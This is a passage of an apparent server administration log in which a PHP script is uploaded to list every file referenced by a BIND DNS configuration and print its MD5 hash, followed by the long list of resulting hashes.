MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 5e377f3629d6fe361d57f6ca437ac6a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 19:37:25: Establishing a connection
2026-04-25 19:37:26: 

PUT: /tmp/pkp345472

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 19:37:26: 

runuser -l bind -s /bin/bash -c '/tmp/pkp345472; rm /tmp/pkp345472'

2026-04-25 19:37:26: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= ea9a0be66a36e076d7c3b9ce4ace025c
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
